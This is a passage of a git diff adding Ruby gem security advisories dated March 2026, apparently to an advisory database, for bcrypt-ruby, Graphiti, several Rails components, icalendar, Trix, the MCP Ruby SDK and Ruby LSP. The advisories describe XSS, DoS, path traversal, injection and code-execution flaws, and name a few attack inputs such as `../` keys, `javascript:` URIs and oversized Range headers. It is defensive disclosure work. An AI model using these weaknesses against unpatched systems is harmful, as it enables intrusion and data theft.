round count to become negative, and the + strengthening loop executes **zero iterations**. This collapses + bcrypt from 2^31 rounds of exponential key-strengthening to + effectively constant-time computation — only the initial + EksBlowfish key setup and final 64x encryption phase remain. + + The resulting hash looks valid (`$2a$31$...`) and verifies + correctly via `checkpw`, making the weakness invisible to the + application. This issue is triggered only when cost=31 is + used or when verifying a `$2a$31$` hash. + + ### Patches + + This problem has been fixed in version 3.1.22 + + ### Workarounds + + Set the cost to something less than 31. + cvss_v4: 4.5 + patched_versions: + - ">= 3.1.22" + related: + url: + - https://github.com/bcrypt-ruby/bcrypt-ruby/security/advisories/GHSA-f27w-vcwj-c954 + - https://github.com/bcrypt-ruby/bcrypt-ruby/commit/5faa2748331d3edc661c127ef2fbb3afcb6b02a4 + - https://github.com/advisories/GHSA-f27w-vcwj-c954 +--- diff --git a/advisories/_posts/2026-03-20-CVE-2026-33286.md b/advisories/_posts/2026-03-20-CVE-2026-33286.md new file mode 100644 index 00000000..4c0c3df2 --- /dev/null +++ b/advisories/_posts/2026-03-20-CVE-2026-33286.md @@ -0,0 +1,61 @@ +--- +layout: advisory +title: 'CVE-2026-33286 (graphiti): Graphiti Affected by Arbitrary Method Execution + via Unvalidated Relationship Names' +comments: false +categories: +- graphiti +advisory: + gem: graphiti + cve: 2026-33286 + ghsa: 3m5v-4xp5-gjg2 + url: https://github.com/graphiti-api/graphiti/security/advisories/GHSA-3m5v-4xp5-gjg2 + title: Graphiti Affected by Arbitrary Method Execution via Unvalidated Relationship + Names + date: 2026-03-20 + description: |- + ### Summary + + An arbitrary method execution vulnerability has been found which + affects Graphiti's JSONAPI write functionality. An attacker can + craft a malicious JSONAPI payload with arbitrary relationship + names to invoke any public method on the underlying model + instance, class or its associations. + + ### Impact + + Any application exposing Graphiti write endpoints (create/update/delete) + to untrusted users is affected. + + The `Graphiti::Util::ValidationResponse#all_valid?` method recursively + calls `model.send(name)` using relationship names taken directly from + user-supplied JSONAPI payloads, without validating them against the + resource's configured sideloads. This allows an attacker to potentially + run any public method on a given model instance, on the instance class + or associated instances or classes, including destructive operations. + + ### Patches + + This is patched in Graphiti **v1.10.2**. + Users should upgrade as soon as possible. + + ### Workarounds + + If upgrading to v1.10.2 is not immediately possible, consider one + or more of the following mitigations: + + - **Restrict write access**: Ensure Graphiti write endpoints + (create/update/delete) are not accessible to untrusted users. + - **Authentication & authorisation**: Apply strong authentication + and authorisation checks before any write operation is processed, + for example use Rails strong parameters to ensure only valid + parameters are processed." + cvss_v3: 9.1 + patched_versions: + - ">= 1.10.2" + related: + url: + - https://github.com/graphiti-api/graphiti/security/advisories/GHSA-3m5v-4xp5-gjg2 + - https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/blob/master/gem/graphiti/CVE-2026-33286.yml + - https://github.com/advisories/GHSA-3m5v-4xp5-gjg2 +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33167.md b/advisories/_posts/2026-03-23-CVE-2026-33167.md new file mode 100644 index 00000000..b1eb6e76 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33167.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2026-33167 (actionpack): Rails has a possible XSS vulnerability in its + Action Pack debug exceptions' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2026-33167 + ghsa: pgm4-439c-5jp6 + url: https://github.com/rails/rails/security/advisories/GHSA-pgm4-439c-5jp6 + title: Rails has a possible XSS vulnerability in its Action Pack debug exceptions + date: 2026-03-23 + description: |- + ### Impact + The debug exceptions page does not properly escape exception messages. + A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS. + This affects applications with detailed exception pages enabled (`config.consider_all_requests_local = true`), + which is the default in development. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 1.3 + unaffected_versions: + - "< 8.1.0" + patched_versions: + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-pgm4-439c-5jp6 + - https://github.com/rails/rails/commit/6752711c8c31d79ba50d13af6a6698a3b85415e0 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-pgm4-439c-5jp6 +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33168.md b/advisories/_posts/2026-03-23-CVE-2026-33168.md new file mode 100644 index 00000000..a4e90d05 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33168.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2026-33168 (actionview): Rails has a possible XSS vulnerability in its + Action View tag helpers' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2026-33168 + ghsa: v55j-83pf-r9cq + url: https://github.com/rails/rails/security/advisories/GHSA-v55j-83pf-r9cq + title: Rails has a possible XSS vulnerability in its Action View tag helpers + date: 2026-03-23 + description: |- + ### Impact + When a blank string is used as an HTML attribute name in Action View tag helpers, + the attribute escaping is bypassed, producing malformed HTML. + A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, + possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 2.3 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-v55j-83pf-r9cq + - https://github.com/rails/rails/commit/0b6f8002b52b9c606fd6be9e7915d9f944cf539c + - https://github.com/rails/rails/commit/63f5ad83edaa0b976f82d46988d745426aa4a42d + - https://github.com/rails/rails/commit/c79a07df1e88738df8f68cb0ee759ad6128ca924 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-v55j-83pf-r9cq +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33169.md b/advisories/_posts/2026-03-23-CVE-2026-33169.md new file mode 100644 index 00000000..359f7184 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33169.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2026-33169 (activesupport): Rails Active Support has a possible ReDoS + vulnerability in number_to_delimited' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2026-33169 + ghsa: cg4j-q9v8-6v38 + url: https://github.com/rails/rails/security/advisories/GHSA-cg4j-q9v8-6v38 + title: Rails Active Support has a possible ReDoS vulnerability in number_to_delimited + date: 2026-03-23 + description: |- + ### Impact + `NumberToDelimitedConverter` used a regular expression with `gsub!` to insert thousands delimiters. + This could produce quadratic time complexity on long digit strings. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 6.9 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-cg4j-q9v8-6v38 + - https://github.com/rails/rails/commit/29154f1097da13d48fdb3200760b3e3da66dcb11 + - https://github.com/rails/rails/commit/b54a4b373c6f042cab6ee2033246b1c9ecc38974 + - https://github.com/rails/rails/commit/ec1a0e215efd27a3b3911aae6df978a80f456a49 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-cg4j-q9v8-6v38 +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33170.md b/advisories/_posts/2026-03-23-CVE-2026-33170.md new file mode 100644 index 00000000..a1915659 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33170.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2026-33170 (activesupport): Rails Active Support has a possible XSS vulnerability + in SafeBuffer#%' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2026-33170 + ghsa: 89vf-4333-qx8v + url: https://github.com/rails/rails/security/advisories/GHSA-89vf-4333-qx8v + title: Rails Active Support has a possible XSS vulnerability in SafeBuffer#% + date: 2026-03-23 + description: |- + ### Impact + `SafeBuffer#%` does not propagate the `@html_unsafe` flag to the newly created buffer. + If a `SafeBuffer` is mutated in place (e.g. via `gsub!`) and then formatted with `%` using untrusted arguments, + the result incorrectly reports `html_safe? == true`, bypassing ERB auto-escaping and possibly leading to XSS. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 5.3 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-89vf-4333-qx8v + - https://github.com/rails/rails/commit/50d732af3b7c8aaf63cbcca0becbc00279b215b7 + - https://github.com/rails/rails/commit/6e8a81108001d58043de9e54a06fca58962fc2db + - https://github.com/rails/rails/commit/c1ad0e8e1972032f3395853a5e99cea035035beb + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-89vf-4333-qx8v +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33173.md b/advisories/_posts/2026-03-23-CVE-2026-33173.md new file mode 100644 index 00000000..bd2f2981 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33173.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2026-33173 (activestorage): Rails Active Storage has possible content + type bypass via metadata in direct uploads' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2026-33173 + ghsa: qcfx-2mfw-w4cg + url: https://github.com/rails/rails/security/advisories/GHSA-qcfx-2mfw-w4cg + title: Rails Active Storage has possible content type bypass via metadata in direct + uploads + date: 2026-03-23 + description: |- + ### Impact + Active Storage's `DirectUploadsController` accepts arbitrary metadata from the client and persists it on the blob. + Because internal flags like `identified` and `analyzed` are stored in the same metadata hash, + a malicious direct-upload client could set these flags. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 5.3 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-qcfx-2mfw-w4cg + - https://github.com/rails/rails/commit/707c0f1f41f067fdf96d54e99d43b28dfaae7e53 + - https://github.com/rails/rails/commit/8fcb934caadc79c8cc4ce53287046d0f67005b3e + - https://github.com/rails/rails/commit/d9502f5214e2198245a4c1defe9cd02a7c8057d0 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-qcfx-2mfw-w4cg +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33174.md b/advisories/_posts/2026-03-23-CVE-2026-33174.md new file mode 100644 index 00000000..3b83bc17 --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33174.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2026-33174 (activestorage): Rails Active Storage has a possible DoS vulnerability + when in proxy mode via Range requests' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2026-33174 + ghsa: r46p-8f7g-vvvg + url: https://github.com/rails/rails/security/advisories/GHSA-r46p-8f7g-vvvg + title: Rails Active Storage has a possible DoS vulnerability when in proxy mode + via Range requests + date: 2026-03-23 + description: |- + ### Impact + When serving files through Active Storage's `Blobs::ProxyController`, + the controller loads the entire requested byte range into memory before sending it. + A request with a large or unbounded Range header (e.g. `bytes=0-`) could cause the server + to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 6.6 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-r46p-8f7g-vvvg + - https://github.com/rails/rails/commit/2cd933c366b777f873d4d590127da2f4a25e4ba5 + - https://github.com/rails/rails/commit/42012eaaa88dfc7d0030161b2bc8074a7bbce92a + - https://github.com/rails/rails/commit/8159a9c3de3f27a2bcf2866b8bf9ceb9075e229b + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-r46p-8f7g-vvvg +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33176.md b/advisories/_posts/2026-03-23-CVE-2026-33176.md new file mode 100644 index 00000000..b66a8bcb --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33176.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2026-33176 (activesupport): Rails Active Support has a possible DoS vulnerability + in its number helpers' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2026-33176 + ghsa: 2j26-frm8-cmj9 + url: https://github.com/rails/rails/security/advisories/GHSA-2j26-frm8-cmj9 + title: Rails Active Support has a possible DoS vulnerability in its number helpers + date: 2026-03-23 + description: |- + ### Impact + Active Support number helpers accept strings containing scientific notation (e.g. `1e10000`), + which when converted to a string could be expanded into extremely large decimal representations. + This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, + possibly resulting in a DoS vulnerability. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 6.6 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-2j26-frm8-cmj9 + - https://github.com/rails/rails/commit/19dbab51ca086a657bb86458042bc44314916bcb + - https://github.com/rails/rails/commit/ebd6be18120d1136511eb516338e27af25ac0a1a + - https://github.com/rails/rails/commit/ee2c59e730e5b8faed502cd2c573109df093f856 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-2j26-frm8-cmj9 +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33195.md b/advisories/_posts/2026-03-23-CVE-2026-33195.md new file mode 100644 index 00000000..4bf41ddc --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33195.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2026-33195 (activestorage): Rails Active Storage has possible Path Traversal + in DiskService' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2026-33195 + ghsa: 9xrj-h377-fr87 + url: https://github.com/rails/rails/security/advisories/GHSA-9xrj-h377-fr87 + title: Rails Active Storage has possible Path Traversal in DiskService + date: 2026-03-23 + description: |- + ### Impact + Active Storage's `DiskService#path_for` does not validate that the + resolved filesystem path remains within the storage root directory. + If a blob key containing path traversal sequences (e.g. `../`) is used, + it could allow reading, writing, or deleting arbitrary files on the server. + Blob keys are expected to be trusted strings, + but some applications could be passing user input as keys and would be affected. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 8.0 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-9xrj-h377-fr87 + - https://github.com/rails/rails/commit/4933c1e3b8c1bb04925d60347be9f69270392f2c + - https://github.com/rails/rails/commit/9b06fbc0f504b8afe333f33d19548f3b85fbe655 + - https://github.com/rails/rails/commit/a290c8a1ec189d793aa6d7f2570b6a763f675348 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 + - https://github.com/advisories/GHSA-9xrj-h377-fr87 +--- diff --git a/advisories/_posts/2026-03-23-CVE-2026-33202.md b/advisories/_posts/2026-03-23-CVE-2026-33202.md new file mode 100644 index 00000000..3896d79b --- /dev/null +++ b/advisories/_posts/2026-03-23-CVE-2026-33202.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2026-33202 (activestorage): Rails Active Storage has possible glob injection + in its DiskService' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2026-33202 + ghsa: 73f9-jhhh-hr5m + url: https://github.com/rails/rails/security/advisories/GHSA-73f9-jhhh-hr5m + title: Rails Active Storage has possible glob injection in its DiskService + date: 2026-03-23 + description: |- + ### Impact + Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters. + If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, + it may be possible to delete unintended files from the storage directory. + + ### Releases + The fixed releases are available at the normal locations. + cvss_v4: 6.6 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://github.com/rails/rails/security/advisories/GHSA-73f9-jhhh-hr5m + - https://github.com/rails/rails/commit/8c9676b803820110548cdb7523800db43bc6874c + - https://github.com/rails/rails/commit/955284d26e469a9c026a4eee5b21f0414ab0bccf + - https://github.com/rails/rails/commit/fa19073546360856e9f4dab221fc2c5d73a45e82 + - https://github.com/rails/rails/releases/tag/v7.2.3.1 + - https://github.com/rails/rails/releases/tag/v8.0.4.1 + - https://github.com/rails/rails/releases/tag/v8.1.2.1 +--- diff --git a/advisories/_posts/2026-03-24-CVE-2026-33635.md b/advisories/_posts/2026-03-24-CVE-2026-33635.md new file mode 100644 index 00000000..d1bc8753 --- /dev/null +++ b/advisories/_posts/2026-03-24-CVE-2026-33635.md @@ -0,0 +1,59 @@ +--- +layout: advisory +title: 'CVE-2026-33635 (icalendar): iCalendar has ICS injection via unsanitized URI + property values' +comments: false +categories: +- icalendar +advisory: + gem: icalendar + cve: 2026-33635 + ghsa: pv9c-9mfh-hvxq + url: https://github.com/icalendar/icalendar/security/advisories/GHSA-pv9c-9mfh-hvxq + title: iCalendar has ICS injection via unsanitized URI property values + date: 2026-03-24 + description: |- + ### Summary + + .ics serialization does not properly sanitize URI property values, + enabling ICS injection through attacker-controlled input, adding + arbitrary calendar lines to the output. + + ### Details + + `Icalendar::Values::Uri` falls back to the raw input string when + `URI.parse` fails and later serializes it with `value.to_s` without + removing or escaping `\r` or `\n` characters. That value is embedded + directly into the final ICS line by the normal serializer, so a + payload containing CRLF can terminate the original property and + create a new ICS property or component. (It looks like you can + inject via url, source, image, organizer, attach, attendee, + conference, tzurl because of this) + + Relevant code: + - `lib/icalendar/values/uri.rb:16` + + ### Impact + + Applications that generate `.ics` files from partially untrusted + metadata are impacted. As a result, downstream calendar clients + or importers may process attacker-supplied content as if it were + legitimate event data, such as added attendees, modified URLs, + alarms, or other calendar fields. + + ## Fix + + Reject raw CR and LF characters in `URI`-typed values before + serialization, or escape/encode them so they cannot terminate + the current ICS content line. + cvss_v3: 4.3 + unaffected_versions: + - "< 2.0.0" + patched_versions: + - ">= 2.12.2" + related: + url: + - https://github.com/icalendar/icalendar/security/advisories/GHSA-pv9c-9mfh-hvxq + - https://github.com/icalendar/icalendar/commit/b8d23b490363ee5fffaec1d269a8618a912ca265 + - https://github.com/advisories/GHSA-pv9c-9mfh-hvxq +--- diff --git a/advisories/_posts/2026-03-25-CVE-2026-33658.md b/advisories/_posts/2026-03-25-CVE-2026-33658.md new file mode 100644 index 00000000..5963ea86 --- /dev/null +++ b/advisories/_posts/2026-03-25-CVE-2026-33658.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2026-33658 (activestorage): Rails Active Storage has a possible DoS vulnerability + in proxy mode via multi-range requests' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2026-33658 + ghsa: p9fm-f462-ggrg + url: https://github.com/rails/rails/security/advisories/GHSA-p9fm-f462-ggrg + title: Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range + requests + date: 2026-03-25 + description: |- + ## Impact + + Active Storage’s proxy controller does not limit the number of byte + ranges in an HTTP Range header. A request with thousands of small + ranges causes disproportionate CPU usage compared to a normal + request for the same file, possibly resulting in a DoS vulnerability. + cvss_v3: 6.5 + cvss_v4: 2.3 + patched_versions: + - "~> 7.2.3, >= 7.2.3.1" + - "~> 8.0.4, >= 8.0.4.1" + - ">= 8.1.2.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-33658 + - https://discuss.rubyonrails.org/t/cve-2026-33658-possible-dos-vulnerability-in-active-storage-proxy-mode-via-multi-range-requests/90906 + - https://rubyonrails.org/2026/3/23/Rails-Versions-7-2-3-1-8-0-4-1-and-8-1-2-1-have-been-released + - https://github.com/rails/rails/commit/85ec5b1e00d3197d8c69a5e622e1b398a1b10b06.patch + - https://github.com/rails/rails/commit/d7da4ef03f99035fba5add8828646f1e9173549c.patch + - https://github.com/rails/rails/commit/b8a1665824a43d71cd6406cf9adcae842ceb1c22.patch + - https://github.com/rails/rails/security/advisories/GHSA-p9fm-f462-ggrg + - https://github.com/advisories/GHSA-p9fm-f462-ggrg +--- diff --git a/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md b/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md new file mode 100644 index 00000000..2e68c207 --- /dev/null +++ b/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md @@ -0,0 +1,58 @@ +--- +layout: advisory +title: 'GHSA-53g2-mvcc-q9x3 (action_text-trix): Stored XSS via HTMLParser attribute + injection on paste' +comments: false +categories: +- action_text-trix +advisory: + gem: action_text-trix + ghsa: 53g2-mvcc-q9x3 + url: https://github.com/basecamp/trix/security/advisories/GHSA-53g2-mvcc-q9x3 + title: Stored XSS via HTMLParser attribute injection on paste + date: 2026-03-26 + description: |- + ## Impact + + The Trix editor, in versions prior to 2.1.18, is vulnerable to XSS + when crafted HTML is pasted into the editor. The HTMLParser processed + a mock attachment, a carrying an empty data-trix-attachment="{}". + The empty attachment object caused the element to bypass attachment + handling, so its data-trix-attributes were applied to a plain string + piece. The pre-2.1.18 StringPiece.fromJSON accepted the href without + validation, so an attacker-supplied javascript: URI was carried into + the document model and emitted verbatim into the serialized HTML, + executing when the content was rendered and clicked. + + This is a stored XSS in any application that accepts untrusted rich + text through Trix and renders the serialized output to other users. + Applications that apply server-side HTML sanitization, such as the + Rails built-in sanitizer, are additionally protected because the + payload is neutralized on save. + + This vulnerability shares its fix with GHSA-53p3-c7vp-4mcc. + Both are resolved by the StringPiece.fromJSON sanitization added + in 2.1.18. This advisory covers the paste and HTMLParser entry + vector, while GHSA-53p3-c7vp-4mcc covers the drag-and-drop path + through the fallback Level0InputController. + + ## References + + The vulnerability was responsibly reported by HackerOne + researcher newbiefromcoma. + cvss_v3: 4.6 + patched_versions: + - ">= 2.1.18" + related: + url: + - https://rubygems.org/gems/action_text-trix/versions/2.1.18 + - https://github.com/basecamp/trix/releases/tag/v2.1.18 + - https://github.com/basecamp/trix/pull/1293 + - https://github.com/advisories/GHSA-53p3-c7vp-4mcc + - https://github.com/basecamp/trix/security/advisories/GHSA-53g2-mvcc-q9x3 + notes: | + - No CVE. + - cvss_v3 from GHSA + - date from gem releases page + - Unnknown HackerOne number +--- diff --git a/advisories/_posts/2026-03-27-CVE-2026-33946.md b/advisories/_posts/2026-03-27-CVE-2026-33946.md new file mode 100644 index 00000000..ef1a2d97 --- /dev/null +++ b/advisories/_posts/2026-03-27-CVE-2026-33946.md @@ -0,0 +1,62 @@ +--- +layout: advisory +title: 'CVE-2026-33946 (mcp): MCP Ruby SDK - Insufficient Session Binding Allows SSE + Stream Hijacking via Session ID Replay' +comments: false +categories: +- mcp +advisory: + gem: mcp + cve: 2026-33946 + ghsa: qvqr-5cv7-wh35 + url: https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35 + title: MCP Ruby SDK - Insufficient Session Binding Allows SSE Stream Hijacking via + Session ID Replay + date: 2026-03-27 + description: |- + ### Summary + + The Ruby SDK's [streamable_http_transport.rb](https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb) + implementation contains a session hijacking vulnerability. An attacker + who obtains a valid session ID can completely hijack the victim's + Server-Sent Events (SSE) stream and intercept all real-time data. + + ### Details + + **Root Cause** + + The StreamableHTTPTransport implementation stores only one SSE stream + object per session ID and lacks: + + - Session-to-user identity binding + - Ownership validation when establishing SSE connections + - Protection against multiple simultaneous connections to the same session + + ### Impact + + While the absence of user binding may not pose immediate risks if + session IDs are not used to store sensitive data or state, the + fundamental purpose of session IDs is to maintain stateful connections. + If the SDK or its consumers utilize session IDs for sensitive operations + without proper user binding controls, this creates a potential security + vulnerability. For example: In the case of the Ruby SDK, the attacker + was able to hijack the stream and receive all the tool responses + belonging to the victim. The tool responses can be sensitive + confidential data. + cvss_v3: 8.2 + cvss_v4: 8.2 + patched_versions: + - ">= 0.9.2" + related: + url: + - https://www.cve.org/CVERecord?id=CVE-2026-33946 + - https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.9.2 + - https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35 + - https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb + - https://github.com/modelcontextprotocol/ruby-sdk/commit/db40143402d65b4fb6923cec42d2d72cb89b3874 + - https://hackerone.com/reports/3556146 + - https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L93-L97 + - https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L281C1-L288C2 + - https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py#L680-L685 + - https://github.com/advisories/GHSA-qvqr-5cv7-wh35 +--- diff --git a/advisories/_posts/2026-03-27-CVE-2026-34060.md b/advisories/_posts/2026-03-27-CVE-2026-34060.md new file mode 100644 index 00000000..813c82e2 --- /dev/null +++ b/advisories/_posts/2026-03-27-CVE-2026-34060.md @@ -0,0 +1,65 @@ +--- +layout: advisory +title: 'CVE-2026-34060 (ruby-lsp): Ruby LSP has arbitrary code execution through branch + setting' +comments: false +categories: +- ruby-lsp +advisory: + gem: ruby-lsp + cve: 2026-34060 + ghsa: c4r5-fxqw-vh93 + url: https://github.com/Shopify/ruby-lsp/security/advisories/GHSA-c4r5-fxqw-vh93 + title: Ruby LSP has arbitrary code execution through branch setting + date: 2026-03-27 + description: |- + ## Summary + + The `rubyLsp.branch` VS Code workspace setting was interpolated without + sanitization into a generated Gemfile, allowing arbitrary Ruby code + execution when a user opens a project containing a malicious + `.vscode/settings.json`. + + Other editors that support workspace setting that get automatically + applied upon opening the editor and trusting the workspace are also + impacted since the server is the component that performs the interpolation. + + ## Details + + The `branch` CLI argument passed to the `ruby-lsp` server was + interpolated in the generated `.ruby-lsp/Gemfile` without sanitization. + Editors that allow defining settings saved at the workspace level + (e.g.: `.vscode/settings.json`) that gets automatically applied open + the possibility to craft a malicious repository that once opened and + trusted in the editor would run arbitrary code. + + ## Impact + + Code execution with the privileges of the user who opens the malicious + project. Ruby LSP assumes workspace code is trusted and so opening + the editor on an untrusted workspace can lead to executing potentially + dangerous code. + + ## Remediation + + The `rubyLsp.branch` setting has been removed entirely. VS Code extensions + auto-update by default, so most users will receive the fix without + action. Users who have disabled auto-updates should update to extension + version >= 0.10.2. + + The `branch` CLI flag was also entirely removed from the `ruby-lsp` + gem. For users that don't add `ruby-lsp` to their Gemfiles, the + server should auto-update. Users with the `ruby-lsp` in the Gemfile + and locked to a specific version should update to >= 0.26.9. + cvss_v2: 7.5 + cvss_v3: 9.8 + cvss_v4: 7.1 + patched_versions: + - ">= 0.26.9" + related: + url: + - https://www.tenable.com/cve/CVE-2026-34060 + - https://github.com/Shopify/ruby-lsp/security/advisories/GHSA-c4r5-fxqw-vh93 + - https://github.com/Shopify/ruby-lsp/releases/tag/v0.26.9 + - https://github.com/advisories/GHSA-c4r5-fxqw-vh93 +--- diff --git a/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md b/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md new file mode 100644 index 00000000..093bdb3a --- /dev/null +++ b/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'GHSA-53p3-c7vp-4mcc (action_text-trix): Trix is vulnerable to XSS through + JSON deserialization bypass in drag-and-drop (Level0InputController)' +comments: false +categories: +- action_text-trix +advisory: + gem: action_text-trix + ghsa: 53p3-c7vp-4mcc + url: https://github.com/basecamp/trix/security/advisories/GHSA-53p3-c7vp-4mcc + title: Trix is vulnerable to XSS through JSON deserialization bypass in drag-and-drop + (Level0InputController) + date: 2026-03-29 + description: |- + ### Impact + + The Trix editor, in versions prior to 2.1.18, is vulnerable to XSS + when a crafted `application/x-trix-document` JSON payload is dropped + into the editor in environments using the fallback Level0InputController + (e.g., embedded WebViews lacking Input Events Level 2 support). + + The `StringPiece.fromJSON` method trusted `href` attributes from the + JSON payload without sanitization. An attacker could craft a draggable + element containing a `javascript:` URI in the href attribute that, + when dropped into a vulnerable editor, would bypass DOMPurify + sanitization and inject executable JavaScript into the DOM. + + Exploitation requires a specific environment (Level0InputController + fallback) and social engineering (victim must drag and drop + attacker-controlled content into the editor). Applications using + server-side HTML sanitization (such as Rails' built-in 